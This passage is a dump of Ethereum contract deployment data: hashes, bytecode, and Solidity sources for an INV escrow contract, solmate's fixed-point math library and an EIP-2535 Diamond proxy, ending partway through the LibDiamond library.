53938005114ef607952b785b8054a9e0b84a71e3c30c993f319590210bfc3345
5320e3e2a5a8061fe451d4243ebd716040ae54e0
b516247596ca36bf32876199fbdcad6b3322330b
5e6eca687cb4fc91f146821d513c84e9ade9f4a9
3d602d80600a3d3981f3363d3d373d3d3d363d73502a7759809bd673cd39a0055beed44b40eaac985af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d73502a7759809bd673cd39a0055beed44b40eaac985af43d82803e903d91602b57fd5bf3
{{ "language": "Solidity", "sources": { "lib/solmate/src/utils/FixedPointMathLib.sol": { "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Arithmetic library with operations for fixed-point numbers.\n/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/utils/FixedPointMathLib.sol)\n/// @author Inspired by USM (https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol)\nlibrary FixedPointMathLib {\n /*//////////////////////////////////////////////////////////////\n SIMPLIFIED FIXED POINT OPERATIONS\n //////////////////////////////////////////////////////////////*/\n\n uint256 internal constant MAX_UINT256 = 2**256 - 1;\n\n uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s.\n\n function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) {\n return mulDivDown(x, y, WAD); // Equivalent to (x * y) / WAD rounded down.\n }\n\n function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) {\n return mulDivUp(x, y, WAD); // Equivalent to (x * y) / WAD rounded up.\n }\n\n function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) {\n return mulDivDown(x, WAD, y); // Equivalent to (x * WAD) / y rounded down.\n }\n\n function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) {\n return mulDivUp(x, WAD, y); // Equivalent to (x * WAD) / y rounded up.\n }\n\n /*//////////////////////////////////////////////////////////////\n LOW LEVEL FIXED POINT OPERATIONS\n //////////////////////////////////////////////////////////////*/\n\n function mulDivDown(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 z) {\n /// @solidity memory-safe-assembly\n assembly {\n // Equivalent to require(denominator != 0 && (y == 0 || x <= type(uint256).max / y))\n if iszero(mul(denominator, iszero(mul(y, gt(x, div(MAX_UINT256, y)))))) {\n revert(0, 0)\n }\n\n // Divide x * y by the denominator.\n z := div(mul(x, y), denominator)\n }\n }\n\n function mulDivUp(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 z) {\n /// @solidity memory-safe-assembly\n assembly {\n // Equivalent to require(denominator != 0 && (y == 0 || x <= type(uint256).max / y))\n if iszero(mul(denominator, iszero(mul(y, gt(x, div(MAX_UINT256, y)))))) {\n revert(0, 0)\n }\n\n // If x * y modulo the denominator is strictly greater than 0,\n // 1 is added to round up the division of x * y by the denominator.\n z := add(gt(mod(mul(x, y), denominator), 0), div(mul(x, y), denominator))\n }\n }\n\n function rpow(\n uint256 x,\n uint256 n,\n uint256 scalar\n ) internal pure returns (uint256 z) {\n /// @solidity memory-safe-assembly\n assembly {\n switch x\n case 0 {\n switch n\n case 0 {\n // 0 ** 0 = 1\n z := scalar\n }\n default {\n // 0 ** n = 0\n z := 0\n }\n }\n default {\n switch mod(n, 2)\n case 0 {\n // If n is even, store scalar in z for now.\n z := scalar\n }\n default {\n // If n is odd, store x in z for now.\n z := x\n }\n\n // Shifting right by 1 is like dividing by 2.\n let half := shr(1, scalar)\n\n for {\n // Shift n right by 1 before looping to halve it.\n n := shr(1, n)\n } n {\n // Shift n right by 1 each iteration to halve it.\n n := shr(1, n)\n } {\n // Revert immediately if x ** 2 would overflow.\n // Equivalent to iszero(eq(div(xx, x), x)) here.\n if shr(128, x) {\n revert(0, 0)\n }\n\n // Store x squared.\n let xx := mul(x, x)\n\n // Round to the nearest number.\n let xxRound := add(xx, half)\n\n // Revert if xx + half overflowed.\n if lt(xxRound, xx) {\n revert(0, 0)\n }\n\n // Set x to scaled xxRound.\n x := div(xxRound, scalar)\n\n // If n is even:\n if mod(n, 2) {\n // Compute z * x.\n let zx := mul(z, x)\n\n // If z * x overflowed:\n if iszero(eq(div(zx, x), z)) {\n // Revert if x is non-zero.\n if iszero(iszero(x)) {\n revert(0, 0)\n }\n }\n\n // Round to the nearest number.\n let zxRound := add(zx, half)\n\n // Revert if zx + half overflowed.\n if lt(zxRound, zx) {\n revert(0, 0)\n }\n\n // Return properly scaled zxRound.\n z := div(zxRound, scalar)\n }\n }\n }\n }\n }\n\n /*//////////////////////////////////////////////////////////////\n GENERAL NUMBER UTILITIES\n //////////////////////////////////////////////////////////////*/\n\n function sqrt(uint256 x) internal pure returns (uint256 z) {\n /// @solidity memory-safe-assembly\n assembly {\n let y := x // We start y at x, which will help us make our initial estimate.\n\n z := 181 // The \"correct\" value is 1, but this saves a multiplication later.\n\n // This segment is to get a reasonable initial estimate for the Babylonian method. With a bad\n // start, the correct # of bits increases ~linearly each iteration instead of ~quadratically.\n\n // We check y >= 2^(k + 8) but shift right by k bits\n // each branch to ensure that if x >= 256, then y >= 256.\n if iszero(lt(y, 0x10000000000000000000000000000000000)) {\n y := shr(128, y)\n z := shl(64, z)\n }\n if iszero(lt(y, 0x1000000000000000000)) {\n y := shr(64, y)\n z := shl(32, z)\n }\n if iszero(lt(y, 0x10000000000)) {\n y := shr(32, y)\n z := shl(16, z)\n }\n if iszero(lt(y, 0x1000000)) {\n y := shr(16, y)\n z := shl(8, z)\n }\n\n // Goal was to get z*z*y within a small factor of x. More iterations could\n // get y in a tighter range. Currently, we will have y in [256, 256*2^16).\n // We ensured y >= 256 so that the relative difference between y and y+1 is small.\n // That's not possible if x < 256 but we can just verify those cases exhaustively.\n\n // Now, z*z*y <= x < z*z*(y+1), and y <= 2^(16+8), and either y >= 256, or x < 256.\n // Correctness can be checked exhaustively for x < 256, so we assume y >= 256.\n // Then z*sqrt(y) is within sqrt(257)/sqrt(256) of sqrt(x), or about 20bps.\n\n // For s in the range [1/256, 256], the estimate f(s) = (181/1024) * (s+1) is in the range\n // (1/2.84 * sqrt(s), 2.84 * sqrt(s)), with largest error when s = 1 and when s = 256 or 1/256.\n\n // Since y is in [256, 256*2^16), let a = y/65536, so that a is in [1/256, 256). Then we can estimate\n // sqrt(y) using sqrt(65536) * 181/1024 * (a + 1) = 181/4 * (y + 65536)/65536 = 181 * (y + 65536)/2^18.\n\n // There is no overflow risk here since y < 2^136 after the first branch above.\n z := shr(18, mul(z, add(y, 65536))) // A mul() is saved from starting z at 181.\n\n // Given the worst case multiplicative error of 2.84 above, 7 iterations should be enough.\n z := shr(1, add(z, div(x, z)))\n z := shr(1, add(z, div(x, z)))\n z := shr(1, add(z, div(x, z)))\n z := shr(1, add(z, div(x, z)))\n z := shr(1, add(z, div(x, z)))\n z := shr(1, add(z, div(x, z)))\n z := shr(1, add(z, div(x, z)))\n\n // If x+1 is a perfect square, the Babylonian method cycles between\n // floor(sqrt(x)) and ceil(sqrt(x)). This statement ensures we return floor.\n // See: https://en.wikipedia.org/wiki/Integer_square_root#Using_only_integer_division\n // Since the ceil is rare, we save gas on the assignment and repeat division in the rare case.\n // If you don't care whether the floor or ceil square root is returned, you can remove this statement.\n z := sub(z, lt(div(x, z), z))\n }\n }\n\n function unsafeMod(uint256 x, uint256 y) internal pure returns (uint256 z) {\n /// @solidity memory-safe-assembly\n assembly {\n // Mod x by y. Note this will return\n // 0 instead of reverting if y is zero.\n z := mod(x, y)\n }\n }\n\n function unsafeDiv(uint256 x, uint256 y) internal pure returns (uint256 r) {\n /// @solidity memory-safe-assembly\n assembly {\n // Divide x by y. Note this will return\n // 0 instead of reverting if y is zero.\n r := div(x, y)\n }\n }\n\n function unsafeDivUp(uint256 x, uint256 y) internal pure returns (uint256 z) {\n /// @solidity memory-safe-assembly\n assembly {\n // Add 1 to x * y if x % y > 0. Note this will\n // return 0 instead of reverting if y is zero.\n z := add(gt(mod(x, y), 0), div(x, y))\n }\n }\n}\n" }, "src/escrows/INVEscrow.sol": { "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\nimport \"../interfaces/IERC20.sol\";\nimport {FixedPointMathLib} from \"solmate/utils/FixedPointMathLib.sol\";\n\n// @dev Caution: We assume all failed transfers cause reverts and ignore the returned bool.\ninterface IXINV {\n function rewardTreasury() external view returns(address);\n function balanceOf(address) external view returns (uint);\n function exchangeRateStored() external view returns (uint);\n function exchangeRateCurrent() external returns (uint);\n function mint(uint mintAmount) external returns (uint);\n function redeemUnderlying(uint redeemAmount) external returns (uint);\n function syncDelegate(address user) external;\n function accrualBlockNumber() external view returns (uint);\n function getCash() external view returns (uint);\n function totalSupply() external view returns (uint);\n function rewardPerBlock() external view returns (uint);\n}\n\ninterface IDbrDistributor {\n function stake(uint amount) external;\n function unstake(uint amount) external;\n function claim(address to) external;\n function claimable(address user) external view returns(uint);\n}\n\n/**\n * @title INV Escrow\n * @notice Collateral is stored in unique escrow contracts for every user and every market.\n * This escrow allows user to deposit INV collateral directly into the xINV contract, earning APY and allowing them to delegate votes on behalf of the xINV collateral\n * @dev Caution: This is a proxy implementation. Follow proxy pattern best practices\n */\ncontract INVEscrow {\n using FixedPointMathLib for uint;\n\n address public market;\n IDelegateableERC20 public token;\n address public beneficiary;\n uint public stakedXINV;\n IXINV public immutable xINV;\n IDbrDistributor public immutable distributor;\n mapping(address => bool) public claimers;\n\n constructor(IXINV _xINV, IDbrDistributor _distributor) {\n xINV = _xINV;\n distributor = _distributor;\n }\n\n /**\n * @notice Initialize escrow with a token\n * @dev Must be called right after proxy is created.\n * @param _token The IERC20 token representing the INV governance token\n * @param _beneficiary The beneficiary who may delegate token voting power\n */\n function initialize(IDelegateableERC20 _token, address _beneficiary) public {\n require(market == address(0), \"ALREADY INITIALIZED\");\n market = msg.sender;\n token = _token;\n beneficiary = _beneficiary;\n _token.delegate(_token.delegates(_beneficiary));\n _token.approve(address(xINV), type(uint).max);\n xINV.syncDelegate(address(this));\n }\n \n /**\n * @notice Transfers the associated ERC20 token to a recipient.\n * @param recipient The address to receive payment from the escrow\n * @param amount The amount of ERC20 token to be transferred.\n */\n function pay(address recipient, uint amount) public {\n require(msg.sender == market, \"ONLY MARKET\");\n uint invBalance = token.balanceOf(address(this));\n if(invBalance < amount) {\n uint invNeeded = amount - invBalance;\n uint xInvToUnstake = invNeeded * 1 ether / viewExchangeRate();\n stakedXINV -= xInvToUnstake;\n distributor.unstake(xInvToUnstake);\n xINV.redeemUnderlying(invNeeded); // we do not check return value because transfer call will fail if this fails anyway\n }\n token.transfer(recipient, amount);\n }\n \n /**\n * @notice Allows the beneficiary to claim DBR tokens\n * @dev Requires the caller to be the beneficiary\n */\n function claimDBR() public {\n require(msg.sender == beneficiary, \"ONLY BENEFICIARY\");\n distributor.claim(msg.sender);\n }\n\n /**\n * @notice Allows the beneficiary or allowed claimers to claim DBR tokens on behalf of another address\n * @param to The address to which the claimed tokens will be sent\n * @dev Requires the caller to be the beneficiary or an allowed claimer\n */\n function claimDBRTo(address to) public {\n require(msg.sender == beneficiary || claimers[msg.sender], \"ONLY BENEFICIARY OR ALLOWED CLAIMERS\");\n distributor.claim(to);\n }\n\n /**\n * @notice Returns the amount of claimable DBR tokens for the contract\n * @return The amount of claimable tokens\n */\n function claimable() public view returns (uint) {\n return distributor.claimable(address(this));\n }\n\n /**\n * @notice Sets or unsets an address as an allowed claimer\n * @param claimer The address of the claimer to set or unset\n * @param allowed A boolean value to determine if the claimer is allowed or not\n * @dev Requires the caller to be the beneficiary\n */\n function setClaimer(address claimer, bool allowed) public {\n require(msg.sender == beneficiary, \"ONLY BENEFICIARY\");\n claimers[claimer] = allowed;\n }\n\n /**\n * @notice Get the token balance of the escrow\n * @return Uint representing the INV token balance of the escrow including the additional INV accrued from xINV\n */\n function balance() public view returns (uint) {\n uint invBalance = token.balanceOf(address(this));\n uint invBalanceInXInv = stakedXINV * viewExchangeRate() / 1 ether;\n return invBalance + invBalanceInXInv;\n }\n \n /**\n * @notice Function called by market on deposit. Will deposit INV into xINV \n * @dev This function should remain callable by anyone to handle direct inbound transfers.\n */\n function onDeposit() public {\n uint invBalance = token.balanceOf(address(this));\n if(invBalance > 0) {\n uint xinvBal = xINV.balanceOf(address(this));\n xINV.mint(invBalance); // we do not check return value because we don't want errors to block this call\n stakedXINV += xINV.balanceOf(address(this)) - xinvBal;\n distributor.stake(stakedXINV - xinvBal);\n }\n }\n\n /**\n * @notice Delegates voting power of the underlying xINV.\n * @param delegatee The address to be delegated voting power\n */\n function delegate(address delegatee) public {\n require(msg.sender == beneficiary, \"ONLY BENEFICIARY\");\n token.delegate(delegatee);\n xINV.syncDelegate(address(this));\n }\n\n /**\n * @notice View function to calculate exact exchangerate for current block\n */\n function viewExchangeRate() internal view returns (uint) {\n uint accrualBlockNumberPrior = xINV.accrualBlockNumber();\n if (accrualBlockNumberPrior == block.number) return xINV.exchangeRateStored();\n uint blockDelta = block.number - accrualBlockNumberPrior;\n uint rewardsAccrued = xINV.rewardPerBlock() * blockDelta;\n uint treasuryInvBalance = token.balanceOf(xINV.rewardTreasury());\n uint treasuryxInvAllowance = token.allowance(xINV.rewardTreasury(), address(xINV));\n if( treasuryInvBalance <= rewardsAccrued || treasuryxInvAllowance <= rewardsAccrued) return xINV.exchangeRateStored();\n return (xINV.getCash() + rewardsAccrued).divWadDown(xINV.totalSupply());\n }\n\n}\n" }, "src/interfaces/IERC20.sol": { "content": "pragma solidity ^0.8.13;\n\ninterface IERC20 {\n function approve(address,uint) external;\n function transfer(address,uint) external returns (bool);\n function transferFrom(address,address,uint) external returns (bool);\n function balanceOf(address) external view returns (uint);\n function allowance(address from, address to) external view returns (uint);\n}\n\ninterface IDelegateableERC20 is IERC20 {\n function delegate(address delegatee) external;\n function delegates(address delegator) external view returns (address delegatee);\n}\n\n" } }, "settings": { "remappings": [ "ds-test/=lib/solmate/lib/ds-test/src/", "forge-std/=lib/forge-std/src/", "openzeppelin-contracts/=lib/openzeppelin-contracts/", "solmate/=lib/solmate/src/" ], "optimizer": { "enabled": true, "runs": 200 }, "metadata": { "bytecodeHash": "ipfs" }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "evmVersion": "london", "libraries": {} } }}
1
19,493,265
0a7c38cf3c4cf8eac5fb51b8908ff5e3b3db78acad2db717553145d51336335a
d6c380e81c743559f330f00cdaaca4da7a66124c1f07ee287a08c15a8b21bdef
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
e8150ecd62af13899a1edeb5d6c64ffef004562c
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
1
19,493,265
0a7c38cf3c4cf8eac5fb51b8908ff5e3b3db78acad2db717553145d51336335a
68be842a540cf982ef78852b4883a349a7e358fcea6afca7dc5ffe954359eef2
3d65f08b344a42f62d7c3010b75b947ca42a8e95
b8d8701589ce9cecbcedc8dbdadff30e987ee0e8
35c86ff0888b23b3bf0b700af9889a086400a5ff
608060405260405161120b38038061120b83398101604081905261002291610dc2565b61002b82610136565b604080516001808252818301909252600091816020015b604080516060808201835260008083526020830152918101919091528152602001906001900390816100425750506040805160018082528183019092529192506000919060208083019080368337019050509050631f931c1c60e01b816000815181106100b1576100b1610df5565b6001600160e01b031990921660209283029190910182015260408051606081019091526001600160a01b038516815290810160008152602001828152508260008151811061010157610101610df5565b602002602001018190525061012d8260006040518060200160405280600081525061019660201b60201c565b505050506110e0565b60006101406103b4565b6004810180546001600160a01b038581166001600160a01b031983168117909355604051939450169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3505050565b60005b83518110156103695760008482815181106101b6576101b6610df5565b6020026020010151602001519050600060028111156101d7576101d7610e0b565b8160028111156101e9576101e9610e0b565b0361023d5761023885838151811061020357610203610df5565b60200260200101516000015186848151811061022157610221610df5565b6020026020010151604001516103d860201b60201c565b610360565b600181600281111561025157610251610e0b565b036102a05761023885838151811061026b5761026b610df5565b60200260200101516000015186848151811061028957610289610df5565b60200260200101516040015161055560201b60201c565b60028160028111156102b4576102b4610e0b565b03610303576102388583815181106102ce576102ce610df5565b6020026020010151600001518684815181106102ec576102ec610df5565b6020026020010151604001516106db60201b60201c565b60405162461bcd60e51b815260206004820152602760248201527f4c69624469616d6f6e644375743a20496e636f727265637420466163657443756044820152663a20b1ba34b7b760c91b60648201526084015b60405180910390fd5b50600101610199565b507f8faa70878671ccd212d20771b795c50af8fd3ff6cf27f4bde57e5d4de0aeb67383838360405161039d93929190610e71565b60405180910390a16103af82826107f2565b505050565b7fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c90565b60008151116103f95760405162461bcd60e51b815260040161035790610f74565b60006104036103b4565b90506001600160a01b03831661042b5760405162461bcd60e51b815260040161035790610fbf565b6001600160a01b0383166000908152600182016020526040812054906001600160601b03821690036104615761046182856108b8565b60005b835181101561054e57600084828151811061048157610481610df5565b6020908102919091018101516001600160e01b031981166000908152918690526040909120549091506001600160a01b031680156105275760405162461bcd60e51b815260206004820152603560248201527f4c69624469616d6f6e644375743a2043616e2774206164642066756e6374696f60448201527f6e207468617420616c72656164792065786973747300000000000000000000006064820152608401610357565b6105338583868a610922565b8361053d81611021565b945050600190920191506104649050565b5050505050565b60008151116105765760405162461bcd60e51b815260040161035790610f74565b60006105806103b4565b90506001600160a01b0383166105a85760405162461bcd60e51b815260040161035790610fbf565b6001600160a01b0383166000908152600182016020526040812054906001600160601b03821690036105de576105de82856108b8565b60005b835181101561054e5760008482815181106105fe576105fe610df5565b6020908102919091018101516001600160e01b031981166000908152918690526040909120549091506001600160a01b0390811690871681036106a95760405162461bcd60e51b815260206004820152603860248201527f4c69624469616d6f6e644375743a2043616e2774207265706c6163652066756e60448201527f6374696f6e20776974682073616d652066756e6374696f6e00000000000000006064820152608401610357565b6106b48582846109c2565b6106c08583868a610922565b836106ca81611021565b945050600190920191506105e19050565b60008151116106fc5760405162461bcd60e51b815260040161035790610f74565b60006107066103b4565b90506001600160a01b038316156107855760405162461bcd60e51b815260206004820152603660248201527f4c69624469616d6f6e644375743a2052656d6f7665206661636574206164647260448201527f657373206d7573742062652061646472657373283029000000000000000000006064820152608401610357565b60005b82518110156107ec5760008382815181106107a5576107a5610df5565b6020908102919091018101516001600160e01b031981166000908152918590526040909120549091506001600160a01b03166107e28482846109c2565b5050600101610788565b50505050565b6001600160a01b038216610804575050565b610826826040518060600160405280602881526020016111bf60289139610d85565b600080836001600160a01b031683604051610841919061104f565b600060405180830381855af49150503d806000811461087c576040519150601f19603f3d011682016040523d82523d6000602084013e610881565b606091505b5091509150816107ec5780511561089b5780518082602001fd5b838360405163192105d760e01b815260040161035792919061106b565b6108da816040518060600160405280602481526020016111e760249139610d85565b6002820180546001600160a01b0390921660008181526001948501602090815260408220860185905594840183559182529290200180546001600160a01b0319169091179055565b6001600160e01b0319831660008181526020868152604080832080546001600160601b03909716600160a01b026001600160a01b0397881617815594909516808352600180890183529583208054968701815583528183206008870401805460e09890981c60046007909816979097026101000a96870263ffffffff9097021990971695909517909555529290915281546001600160a01b031916179055565b6001600160a01b038216610a3e5760405162461bcd60e51b815260206004820152603760248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f76652066756e6360448201527f74696f6e207468617420646f65736e27742065786973740000000000000000006064820152608401610357565b306001600160a01b03831603610aad5760405162461bcd60e51b815260206004820152602e60248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f766520696d6d7560448201526d3a30b1363290333ab731ba34b7b760911b6064820152608401610357565b6001600160e01b03198116600090815260208481526040808320546001600160a01b0386168452600180880190935290832054600160a01b9091046001600160601b03169291610afc91611097565b9050808214610bee576001600160a01b03841660009081526001860160205260408120805483908110610b3157610b31610df5565b600091825260208083206008830401546001600160a01b038916845260018a019091526040909220805460079092166004026101000a90920460e01b925082919085908110610b8257610b82610df5565b600091825260208083206008830401805463ffffffff60079094166004026101000a938402191660e09590951c929092029390931790556001600160e01b03199290921682528690526040902080546001600160a01b0316600160a01b6001600160601b038516021790555b6001600160a01b03841660009081526001860160205260409020805480610c1757610c176110b0565b60008281526020808220600860001990940193840401805463ffffffff600460078716026101000a0219169055919092556001600160e01b0319851682528690526040812081905581900361054e576002850154600090610c7a90600190611097565b6001600160a01b0386166000908152600180890160205260409091200154909150808214610d29576000876002018381548110610cb957610cb9610df5565b6000918252602090912001546002890180546001600160a01b039092169250829184908110610cea57610cea610df5565b600091825260208083209190910180546001600160a01b0319166001600160a01b03948516179055929091168152600189810190925260409020018190555b86600201805480610d3c57610d3c6110b0565b60008281526020808220830160001990810180546001600160a01b03191690559092019092556001600160a01b0388168252600189810190915260408220015550505050505050565b813b81816107ec5760405162461bcd60e51b815260040161035791906110c6565b80516001600160a01b0381168114610dbd57600080fd5b919050565b60008060408385031215610dd557600080fd5b610dde83610da6565b9150610dec60208401610da6565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b60005b83811015610e3c578181015183820152602001610e24565b50506000910152565b60008151808452610e5d816020860160208601610e21565b601f01601f19169290920160200192915050565b60006060808301606084528087518083526080925060808601915060808160051b8701016020808b0160005b84811015610f4457898403607f19018652815180516001600160a01b03168552838101518986019060038110610ee357634e487b7160e01b600052602160045260246000fd5b868601526040918201519186018a905281519081905290840190600090898701905b80831015610f2f5783516001600160e01b0319168252928601926001929092019190860190610f05565b50978501979550505090820190600101610e9d565b50506001600160a01b038a16908801528681036040880152610f668189610e45565b9a9950505050505050505050565b6020808252602b908201527f4c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206660408201526a1858d95d081d1bc818dd5d60aa1b606082015260800190565b6020808252602c908201527f4c69624469616d6f6e644375743a204164642066616365742063616e2774206260408201526b65206164647265737328302960a01b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b60006001600160601b038281166002600160601b031981016110455761104561100b565b6001019392505050565b60008251611061818460208701610e21565b9190910192915050565b6001600160a01b038316815260406020820181905260009061108f90830184610e45565b949350505050565b818103818111156110aa576110aa61100b565b92915050565b634e487b7160e01b600052603160045260246000fd5b6020815260006110d96020830184610e45565b9392505050565b60d1806110ee6000396000f3fe608060405236600a57005b600080356001600160e01b03191681527fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c602081905260409091205481906001600160a01b03168060a15760405162461bcd60e51b815260206004820181905260248201527f4469616d6f6e643a2046756e6374696f6e20646f6573206e6f74206578697374604482015260640160405180910390fd5b3660008037600080366000845af43d6000803e80801560bf573d6000f35b3d6000fdfea164736f6c6343000817000a4c69624469616d6f6e644375743a205f696e6974206164647265737320686173206e6f20636f64654c69624469616d6f6e644375743a204e657720666163657420686173206e6f20636f6465000000000000000000000000b8d8701589ce9cecbcedc8dbdadff30e987ee0e8000000000000000000000000e2e237da290076922067123b7823986005ab6f76
608060405236600a57005b600080356001600160e01b03191681527fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c602081905260409091205481906001600160a01b03168060a15760405162461bcd60e51b815260206004820181905260248201527f4469616d6f6e643a2046756e6374696f6e20646f6573206e6f74206578697374604482015260640160405180910390fd5b3660008037600080366000845af43d6000803e80801560bf573d6000f35b3d6000fdfea164736f6c6343000817000a
{{ "language": "Solidity", "settings": { "evmVersion": "london", "libraries": {}, "metadata": { "bytecodeHash": "none", "useLiteralContent": true }, "optimizer": { "enabled": true, "runs": 10 }, "remappings": [], "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }, "sources": { "contracts/common/diamonds/Diamond.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.23;\n\n/******************************************************************************\\\n* Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen)\n* EIP-2535 Diamonds: https://eips.ethereum.org/EIPS/eip-2535\n*\n* Implementation of a diamond.\n/******************************************************************************/\n\nimport { LibDiamond } from \"./libraries/LibDiamond.sol\";\nimport { IDiamondCut } from \"./interfaces/IDiamondCut.sol\";\n\ncontract Diamond {\n constructor(address _contractOwner, address _diamondCutFacet) payable {\n LibDiamond.setContractOwner(_contractOwner);\n\n // Add the diamondCut external function from the diamondCutFacet\n IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](1);\n bytes4[] memory functionSelectors = new bytes4[](1);\n functionSelectors[0] = IDiamondCut.diamondCut.selector;\n cut[0] = IDiamondCut.FacetCut({ facetAddress: _diamondCutFacet, action: IDiamondCut.FacetCutAction.Add, functionSelectors: functionSelectors });\n LibDiamond.diamondCut(cut, address(0), \"\");\n }\n\n // Find facet for function that is called and execute the\n // function if a facet is found and return any value.\n // solhint-disable-next-line no-complex-fallback\n fallback() external payable {\n LibDiamond.DiamondStorage storage ds;\n bytes32 position = LibDiamond.DIAMOND_STORAGE_POSITION;\n // get diamond storage\n assembly {\n ds.slot := position\n }\n // get facet from function selector\n address facet = ds.selectorToFacetAndPosition[msg.sig].facetAddress;\n require(facet != address(0), \"Diamond: Function does not exist\");\n // Execute external function from facet using delegatecall and return any value.\n assembly {\n // copy function selector and any arguments\n calldatacopy(0, 0, calldatasize())\n // execute function call using the facet\n let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0)\n // get any return value\n returndatacopy(0, 0, returndatasize())\n // return any return value or error back to the caller\n switch result\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n receive() external payable {}\n}\n" }, "contracts/common/diamonds/interfaces/IDiamondCut.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.23;\n\n/******************************************************************************\\\n* Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen)\n* EIP-2535 Diamonds: https://eips.ethereum.org/EIPS/eip-2535\n/******************************************************************************/\n\ninterface IDiamondCut {\n enum FacetCutAction {\n Add,\n Replace,\n Remove\n }\n // Add=0, Replace=1, Remove=2\n\n struct FacetCut {\n address facetAddress;\n FacetCutAction action;\n bytes4[] functionSelectors;\n }\n\n /// @notice Add/replace/remove any number of functions and optionally execute\n /// a function with delegatecall\n /// @param _diamondCut Contains the facet addresses and function selectors\n /// @param _init The address of the contract or facet to execute _calldata\n /// @param _calldata A function call, including function selector and arguments\n /// _calldata is executed with delegatecall on _init\n function diamondCut(FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata) external;\n}\n" }, "contracts/common/diamonds/libraries/LibDiamond.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.23;\n\n/******************************************************************************\\\n* Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen)\n* EIP-2535 Diamonds: https://eips.ethereum.org/EIPS/eip-2535\n/******************************************************************************/\nimport { IDiamondCut } from \"../interfaces/IDiamondCut.sol\";\n\n// Remember to add the loupe functions from DiamondLoupeFacet to the diamond.\n// The loupe functions are required by the EIP2535 Diamonds standard\n\nerror InitializationFunctionReverted(address _initializationContractAddress, bytes _calldata);\n\nlibrary LibDiamond {\n bytes32 public constant DIAMOND_STORAGE_POSITION = keccak256(\"diamond.standard.diamond.storage\");\n\n struct FacetAddressAndPosition {\n address facetAddress;\n uint96 functionSelectorPosition; // position in facetFunctionSelectors.functionSelectors array\n }\n\n struct FacetFunctionSelectors {\n bytes4[] functionSelectors;\n uint256 facetAddressPosition; // position of facetAddress in facetAddresses array\n }\n\n struct DiamondStorage {\n // maps function selector to the facet address and\n // the position of the selector in the facetFunctionSelectors.selectors array\n mapping(bytes4 => FacetAddressAndPosition) selectorToFacetAndPosition;\n // maps facet addresses to function selectors\n mapping(address => FacetFunctionSelectors) facetFunctionSelectors;\n // facet addresses\n address[] facetAddresses;\n // Used to query if a contract implements an interface.\n // Used to implement ERC-165.\n mapping(bytes4 => bool) supportedInterfaces;\n // owner of the contract\n address contractOwner;\n }\n\n function diamondStorage() internal pure returns (DiamondStorage storage ds) {\n bytes32 position = DIAMOND_STORAGE_POSITION;\n // solhint-disable-next-line no-inline-assembly\n assembly {\n ds.slot := position\n }\n }\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n function setContractOwner(address _newOwner) internal {\n DiamondStorage storage ds = diamondStorage();\n address previousOwner = ds.contractOwner;\n ds.contractOwner = _newOwner;\n emit OwnershipTransferred(previousOwner, _newOwner);\n }\n\n function contractOwner() internal view returns (address contractOwner_) {\n contractOwner_ = 